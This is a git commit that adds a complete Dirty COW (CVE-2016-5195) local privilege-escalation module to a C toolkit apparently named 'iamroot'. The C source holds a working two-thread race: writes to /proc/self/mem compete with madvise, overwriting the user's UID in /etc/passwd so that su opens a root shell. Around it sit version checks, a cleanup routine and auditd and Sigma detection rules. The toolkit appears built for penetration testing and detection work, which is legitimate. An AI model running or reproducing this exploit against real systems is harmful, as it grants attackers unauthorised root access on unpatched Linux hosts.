Phase 7: Dirty COW (CVE-2016-5195) FULL module — old-systems coverage

The iconic 2016 LPE. Fills the 10-year coverage gap (now spanning
2016 → 2026): RHEL 6/7, Ubuntu 14.04, Ubuntu 16.04, embedded boxes,
IoT — many still in production with kernels predating the 4.9 fix.

- modules/dirty_cow_cve_2016_5195/iamroot_modules.{c,h}:
  - kernel_range: backport thresholds for 2.6 / 3.2 / 3.10 / 3.12 /
    3.16 / 3.18 / 4.4 / 4.7 / 4.8 / mainline 4.9
  - dirty_cow_write(): Phil-Oester-style two-thread race
    - mmap /etc/passwd MAP_PRIVATE (writes go COW)
    - writer thread: pwrite to /proc/self/mem at COW page offset
    - madviser thread: madvise(MADV_DONTNEED) to drop COW copy
    - poll-read /etc/passwd via separate fd to check if payload landed
    - 3-second timeout (race usually wins in ms on vulnerable kernels)
  - dirty_cow_exploit(): getpwuid → find_passwd_uid_field → race
    → execlp(su)
  - dirty_cow_cleanup(): POSIX_FADV_DONTNEED + drop_caches
  - Auditd rule: /proc/self/mem writes + madvise MADV_DONTNEED
  - Sigma rule: non-root /proc/self/mem open → high
- Makefile: -lpthread added to LDFLAGS for the binary link.
- iamroot.c + core/registry.h wired.
- CVES.md row added with detailed status; legend updated.

Verified end-to-end on kctf-mgr (6.12.86 — patched):
  iamroot --scan       → 'dirty_cow: kernel is patched' (OK)
  iamroot --exploit dirty_cow --i-know
                       → 'detect() says not vulnerable; refusing'
Module count = 12.
This commit is contained in:
2026-05-16 20:38:46 -04:00
parent 3ad1446489
commit cb39cc5119
6 changed files with 394 additions and 2 deletions
+1
View File
@@ -30,6 +30,7 @@ Status legend:
| CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🔵 | Detect-only. Branch-backport ranges checked (6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269). Also checks unprivileged user_ns clone availability (the exploit's trigger gate) — reports PRECOND_FAIL if userns is locked down even when the kernel is vulnerable. Full Notselwyn-style exploit is the next nf_tables commit. | | CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🔵 | Detect-only. Branch-backport ranges checked (6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269). Also checks unprivileged user_ns clone availability (the exploit's trigger gate) — reports PRECOND_FAIL if userns is locked down even when the kernel is vulnerable. Full Notselwyn-style exploit is the next nf_tables commit. |
| CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🔵 | Detect-only. **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect: parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, AND with `--active` actually attempts the userns+overlayfs mount as a fork-isolated probe. Reports OK on non-Ubuntu, PRECOND_FAIL if userns locked down. Ships auditd rules covering mount(overlay) + setxattr(security.capability). | | CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🔵 | Detect-only. **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect: parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, AND with `--active` actually attempts the userns+overlayfs mount as a fork-isolated probe. Reports OK on non-Ubuntu, PRECOND_FAIL if userns locked down. Ships auditd rules covering mount(overlay) + setxattr(security.capability). |
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🔵 | Detect-only. Branch-backport thresholds: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. Bug exists since 2.6.39 — very wide surface. Detect also probes user_ns+net_ns clone availability; locked-down hosts report PRECOND_FAIL. Full exploit (kylebot-style: tc filter add+rm + spray + cred overwrite) follows. | | CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🔵 | Detect-only. Branch-backport thresholds: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. Bug exists since 2.6.39 — very wide surface. Detect also probes user_ns+net_ns clone availability; locked-down hosts report PRECOND_FAIL. Full exploit (kylebot-style: tc filter add+rm + spray + cred overwrite) follows. |
| CVE-2016-5195 | Dirty COW — COW race via /proc/self/mem + madvise | LPE (page-cache write into root-owned files) | mainline 4.9 (Oct 2016) | `dirty_cow` | 🟢 | Full detect + exploit + cleanup. **Old-systems coverage** — affects RHEL 6/7 (3.10 baseline), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT. Phil-Oester-style two-thread race: writer thread via `/proc/self/mem` vs madvise(MADV_DONTNEED) thread. Targets /etc/passwd UID flip + `su`. Ships auditd watch on /proc/self/mem + sigma rule for non-root mem-open. Pthread-linked. |
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. | | CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
## Operations supported per module ## Operations supported per module
+7 -2
View File
@@ -61,17 +61,22 @@ CR4_DIR := modules/cls_route4_cve_2022_2588
CR4_SRCS := $(CR4_DIR)/iamroot_modules.c CR4_SRCS := $(CR4_DIR)/iamroot_modules.c
CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS)) CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))
# Family: dirty_cow (CVE-2016-5195) — requires -pthread
DCOW_DIR := modules/dirty_cow_cve_2016_5195
DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c
DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))
# Top-level dispatcher # Top-level dispatcher
TOP_OBJ := $(BUILD)/iamroot.o TOP_OBJ := $(BUILD)/iamroot.o
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS)
.PHONY: all clean debug static help .PHONY: all clean debug static help
all: $(BIN) all: $(BIN)
$(BIN): $(ALL_OBJS) $(BIN): $(ALL_OBJS)
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread
# Generic compile: any .c → corresponding .o under build/ # Generic compile: any .c → corresponding .o under build/
$(BUILD)/%.o: %.c $(BUILD)/%.o: %.c
+1
View File
@@ -27,5 +27,6 @@ void iamroot_register_pwnkit(void);
void iamroot_register_nf_tables(void); void iamroot_register_nf_tables(void);
void iamroot_register_overlayfs(void); void iamroot_register_overlayfs(void);
void iamroot_register_cls_route4(void); void iamroot_register_cls_route4(void);
void iamroot_register_dirty_cow(void);
#endif /* IAMROOT_REGISTRY_H */ #endif /* IAMROOT_REGISTRY_H */
+1
View File
@@ -346,6 +346,7 @@ int main(int argc, char **argv)
iamroot_register_nf_tables(); iamroot_register_nf_tables();
iamroot_register_overlayfs(); iamroot_register_overlayfs();
iamroot_register_cls_route4(); iamroot_register_cls_route4();
iamroot_register_dirty_cow();
enum mode mode = MODE_SCAN; enum mode mode = MODE_SCAN;
struct iamroot_ctx ctx = {0}; struct iamroot_ctx ctx = {0};
@@ -0,0 +1,372 @@
/*
* dirty_cow_cve_2016_5195 — IAMROOT module
*
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
* handling: a thread writing to /proc/self/mem races a thread calling
* madvise(MADV_DONTNEED) on the same mapping. The bug lets the write
* land in the file's page cache when it should have triggered a
* copy-on-write into anonymous memory.
*
* Discovered by Phil Oester (Oct 2016). Mainline fix
* 19be0eaffa3a "mm: remove gup_flags FOLL_WRITE games from
* __get_user_pages()" (Oct 19 2016).
*
* STATUS: 🟢 FULL detect + exploit + cleanup.
*
* Coverage rationale: this is what "old systems" means. RHEL 6 (3.10),
* RHEL 7 (3.10 early), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded
* Linux distros, IoT devices — many still in production with kernels
* predating the fix. The exploit is universal (POSIX threads, no
* arch-specific bits).
*
* Affected: kernel 2.6.22 through 4.8.x without backport. Mainline
* fixed at 4.9. Stable backports landed in:
* 4.8.x : K >= 4.8.3
* 4.7.x : K >= 4.7.10
* 4.4.x : K >= 4.4.26 (LTS)
* 3.18.x: K >= 3.18.43 (LTS)
* 3.16.x: K >= 3.16.38
* 3.12.x: K >= 3.12.66 (LTS)
* 3.10.x: K >= 3.10.104 (LTS — what RHEL 7 ships)
* 3.2.x : K >= 3.2.84
*
* Exploit shape: Phil Oester-style two-thread race.
* - mmap /etc/passwd PRIVATE (writes go to copy-on-write)
* - Find the user's UID field byte offset
* - Thread A loop: pwrite(/proc/self/mem, "0000", uid_off) — should
* write to the COW page, but the bug makes it land in the original
* - Thread B loop: madvise(addr, MADV_DONTNEED) — drops the COW
* copy, forcing re-fault
* - One iteration wins the race → page cache poisoned
* - execve(su) → shell with uid=0
*/
#include "iamroot_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <stdatomic.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pwd.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>
/* Stable-branch backport thresholds for Dirty COW. */
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
{2, 6, 999}, /* placeholder — 2.6.x always vulnerable */
{3, 2, 84},
{3, 10, 104}, /* RHEL 7 baseline */
{3, 12, 66},
{3, 16, 38},
{3, 18, 43},
{4, 4, 26}, /* Ubuntu 16.04 baseline */
{4, 7, 10},
{4, 8, 3},
{4, 9, 0}, /* mainline fix */
};
static const struct kernel_range dirty_cow_range = {
.patched_from = dirty_cow_patched_branches,
.n_patched_from = sizeof(dirty_cow_patched_branches) /
sizeof(dirty_cow_patched_branches[0]),
};
/* ---- Find UID field offset (inline; same pattern as dirty_pipe) ---- */
static bool find_passwd_uid_field(const char *username,
off_t *uid_off, size_t *uid_len,
char uid_str[16])
{
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) return false;
struct stat st;
if (fstat(fd, &st) < 0) { close(fd); return false; }
char *buf = malloc(st.st_size + 1);
if (!buf) { close(fd); return false; }
ssize_t r = read(fd, buf, st.st_size);
close(fd);
if (r != st.st_size) { free(buf); return false; }
buf[st.st_size] = 0;
size_t ulen = strlen(username);
char *p = buf;
while (p < buf + st.st_size) {
char *eol = strchr(p, '\n');
if (!eol) eol = buf + st.st_size;
if (strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
char *q = p + ulen + 1;
char *pw_end = memchr(q, ':', eol - q);
if (!pw_end) goto next;
char *uid_begin = pw_end + 1;
char *uid_end = memchr(uid_begin, ':', eol - uid_begin);
if (!uid_end) goto next;
size_t L = uid_end - uid_begin;
if (L == 0 || L >= 16) goto next;
memcpy(uid_str, uid_begin, L);
uid_str[L] = 0;
*uid_off = (off_t)(uid_begin - buf);
*uid_len = L;
free(buf);
return true;
}
next:
p = eol + 1;
}
free(buf);
return false;
}
/* ---- Phil-Oester-style Dirty COW primitive ---- */
struct dcow_args {
void *map; /* mmap'd /etc/passwd */
off_t offset; /* offset within the mapping to overwrite */
const char *payload;
size_t payload_len;
int proc_self_mem_fd;
};
static _Atomic int g_dcow_running;
static void *dcow_writer_thread(void *arg)
{
struct dcow_args *a = (struct dcow_args *)arg;
while (atomic_load(&g_dcow_running)) {
if (lseek(a->proc_self_mem_fd,
(off_t)((uintptr_t)a->map + a->offset), SEEK_SET) == (off_t)-1) {
continue;
}
(void)write(a->proc_self_mem_fd, a->payload, a->payload_len);
}
return NULL;
}
static void *dcow_madvise_thread(void *arg)
{
struct dcow_args *a = (struct dcow_args *)arg;
while (atomic_load(&g_dcow_running)) {
madvise(a->map, 4096, MADV_DONTNEED);
}
return NULL;
}
/* Returns 0 on success — payload was observed in /etc/passwd's page
* cache. Returns -1 on failure / timeout. */
static int dirty_cow_write(off_t uid_off, const char *payload, size_t payload_len)
{
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) return -1;
struct stat st;
if (fstat(fd, &st) < 0) { close(fd); return -1; }
void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (map == MAP_FAILED) { close(fd); return -1; }
close(fd);
int mem_fd = open("/proc/self/mem", O_RDWR);
if (mem_fd < 0) { munmap(map, st.st_size); return -1; }
struct dcow_args args = {
.map = map,
.offset = uid_off,
.payload = payload,
.payload_len = payload_len,
.proc_self_mem_fd = mem_fd,
};
atomic_store(&g_dcow_running, 1);
pthread_t w_thr, m_thr;
pthread_create(&w_thr, NULL, dcow_writer_thread, &args);
pthread_create(&m_thr, NULL, dcow_madvise_thread, &args);
/* Race for up to ~3 seconds. On vulnerable kernels this usually
* wins in milliseconds. */
int success = -1;
for (int i = 0; i < 300 && success < 0; i++) {
usleep(10000); /* 10ms */
/* Re-read /etc/passwd via syscall and check if payload landed. */
int rfd = open("/etc/passwd", O_RDONLY);
if (rfd >= 0) {
char readback[16];
if (pread(rfd, readback, payload_len, uid_off) == (ssize_t)payload_len) {
if (memcmp(readback, payload, payload_len) == 0) success = 0;
}
close(rfd);
}
}
atomic_store(&g_dcow_running, 0);
pthread_join(w_thr, NULL);
pthread_join(m_thr, NULL);
close(mem_fd);
munmap(map, st.st_size);
return success;
}
static void revert_passwd_page_cache(void)
{
int fd = open("/etc/passwd", O_RDONLY);
if (fd >= 0) {
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
close(fd);
}
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
if (dc >= 0) {
if (write(dc, "3\n", 2) < 0) { /* ignore */ }
close(dc);
}
}
/* ---- iamroot interface ---- */
static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
v.release);
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
"/etc/passwd via /proc/self/mem\n");
}
return IAMROOT_VULNERABLE;
}
static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
{
iamroot_result_t pre = dirty_cow_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
return IAMROOT_OK;
}
struct passwd *pw = getpwuid(geteuid());
if (!pw) {
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
return IAMROOT_TEST_ERROR;
}
off_t uid_off;
size_t uid_len;
char orig_uid[16] = {0};
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
pw->pw_name);
return IAMROOT_TEST_ERROR;
}
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
pw->pw_name, orig_uid, (long long)uid_off, uid_len);
}
char replacement[16];
memset(replacement, '0', uid_len);
replacement[uid_len] = 0;
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: racing UID '%s' → '%s' via Dirty COW primitive\n",
orig_uid, replacement);
}
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
return IAMROOT_EXPLOIT_FAIL;
}
if (ctx->no_shell) {
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
return IAMROOT_EXPLOIT_OK;
}
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
fflush(NULL);
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
perror("execlp(su)");
revert_passwd_page_cache();
return IAMROOT_EXPLOIT_FAIL;
}
static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
}
revert_passwd_page_cache();
return IAMROOT_OK;
}
/* ---- Embedded detection rules ---- */
static const char dirty_cow_auditd[] =
"# Dirty COW (CVE-2016-5195) — auditd detection rules\n"
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
"-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
"-w /etc/passwd -p wa -k iamroot-dirty-cow\n"
"-w /etc/shadow -p wa -k iamroot-dirty-cow\n"
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
static const char dirty_cow_sigma[] =
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
"id: 1e2c5d8f-iamroot-dirty-cow\n"
"status: experimental\n"
"description: |\n"
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
" by non-root processes (the exploit's two-thread primitive). False\n"
" positives: GDB, strace, some JIT debuggers. Correlate with a\n"
" subsequent UID change on a previously-non-root process for high\n"
" confidence.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" mem_open:\n"
" type: 'PATH'\n"
" name: '/proc/self/mem'\n"
" not_root: {auid|expression: '!= 0'}\n"
" condition: mem_open and not_root\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
const struct iamroot_module dirty_cow_module = {
.name = "dirty_cow",
.cve = "CVE-2016-5195",
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
.family = "dirty_cow",
.kernel_range = "2.6.22 ≤ K, fixed mainline 4.9; many LTS backports (RHEL 7 / Ubuntu 14.04 / Ubuntu 16.04 era)",
.detect = dirty_cow_detect,
.exploit = dirty_cow_exploit,
.mitigate = NULL, /* mitigation: upgrade kernel; no easy runtime knob */
.cleanup = dirty_cow_cleanup,
.detect_auditd = dirty_cow_auditd,
.detect_sigma = dirty_cow_sigma,
.detect_yara = NULL,
.detect_falco = NULL,
};
void iamroot_register_dirty_cow(void)
{
iamroot_register(&dirty_cow_module);
}
@@ -0,0 +1,12 @@
/*
* dirty_cow_cve_2016_5195 — IAMROOT module registry hook
*/
#ifndef DIRTY_COW_IAMROOT_MODULES_H
#define DIRTY_COW_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module dirty_cow_module;
#endif